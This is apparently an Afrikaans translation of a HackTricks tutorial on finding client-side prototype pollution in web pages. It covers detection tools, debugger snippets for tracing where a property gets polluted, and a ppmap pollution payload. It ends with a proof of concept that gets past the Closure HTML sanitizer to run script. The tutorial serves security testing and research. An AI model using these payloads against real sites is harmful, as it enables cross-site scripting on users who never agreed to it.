Client Side Prototype Pollution

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Ontdek deur gebruik te maak van Outomatiese gereedskap

Die gereedskap https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap en https://github.com/kosmosec/proto-find kan gebruik word om prototipe besoedelingskwetsbaarhede te vind.

Daarbenewens kan jy ook die blaaieruitbreiding PPScan gebruik om outomaties die bladsye wat jy besoek vir prototipe besoedelingskwetsbaarhede te skandeer.

Foutopsporing waar 'n eienskap gebruik word

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Vind die wortel oorsaak van Prototipe Besoedeling

Sodra 'n prototipe besoedelbaarheid deur enige van die gereedskap geïdentifiseer is, en as die kode nie buitensporig kompleks is nie, kan jy die kwesbaarheid vind deur te soek na sleutelwoorde soos location.hash, decodeURIComponent, of location.search in die Chrome Ontwikkelaarshulpmiddels. Hierdie benadering stel jou in staat om die kwesbare gedeelte van die JavaScript-kode te identifiseer.

Vir groter en meer komplekse kodebasisse, 'n maklike metode om die kwesbare kode te ontdek behels die volgende stappe:

  1. Gebruik 'n gereedskap om 'n kwesbaarheid te identifiseer en 'n lading te verkry wat ontwerp is om 'n eienskap in die konstrukteur in te stel. 'n Voorbeeld wat deur ppmap voorsien word, kan lyk soos: constructor[prototype][ppmap]=reserved.

  2. Stel 'n breekpunt in by die eerste lyn van JavaScript-kode wat op die bladsy uitgevoer sal word. Verfris die bladsy met die lading, en stel die uitvoering op hierdie breekpunt stil.

  3. Terwyl die JavaScript-uitvoering gestop is, voer die volgende skripsie in die JS-konsole uit. Hierdie skripsie sal aandui wanneer die 'ppmap' eienskap geskep word, wat help om sy oorsprong te vind:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navigasie terug na die Bronne-tabblad en kies "Hervat skripsie-uitvoering". Die JavaScript sal voortgaan met uitvoer, en die 'ppmap' eienskap sal soos verwag besoedel word. Die gebruik van die voorsiene fragment fasiliteer die identifisering van die presiese plek waar die 'ppmap' eienskap besoedel word. Deur die Oproepstapel te ondersoek, kan verskillende stakings waar die besoedeling plaasgevind het, waargeneem word.

Wanneer besluit word watter staking ondersoek moet word, is dit dikwels nuttig om stakings te teiken wat verband hou met JavaScript-biblioteek lêers, aangesien prototipe besoedeling gereeld binne hierdie biblioteke plaasvind. Identifiseer die relevante staking deur sy aanhegting aan biblioteek lêers te ondersoek (sigbaar aan die regterkant, soortgelyk aan 'n beeld wat vir leiding voorsien word). In scenario's met meervoudige stakings, soos dié op lyne 4 en 6, is die logiese keuse die staking op lyn 4, aangesien dit die aanvanklike voorkoms van besoedeling verteenwoordig en dus die wortel oorsaak van die kwesbaarheid. Deur op die staking te klik, sal dit jou na die kwesbare kode lei.

Vind Skripsie-Gadgets

Die gadget is die kode wat misbruik sal word sodra 'n PP-kwesbaarheid ontdek word.

As die aansoek eenvoudig is, kan ons soek vir sleutelwoorde soos srcdoc/innerHTML/iframe/createElement en die bronkode deursoek en nagaan of dit tot javascript-uitvoering lei. Soms mag genoemde tegnieke glad nie gadgets vind nie. In daardie geval openbaar 'n suiwer bronkode-oorsig sommige aangename gadgets soos die onderstaande voorbeeld.

Voorbeeld van die vind van PP-gadget in Mithil biblioteekkode

Kyk na hierdie skrywe: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Herkompilasie van vragte vir kwesbare biblioteke

HTML Sanitizers omseil via PP

Hierdie navorsing wys PP-gadgets wat gebruik kan word om die saneerders wat deur sommige HTML-saneerders biblioteke voorsien word, te omseil:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated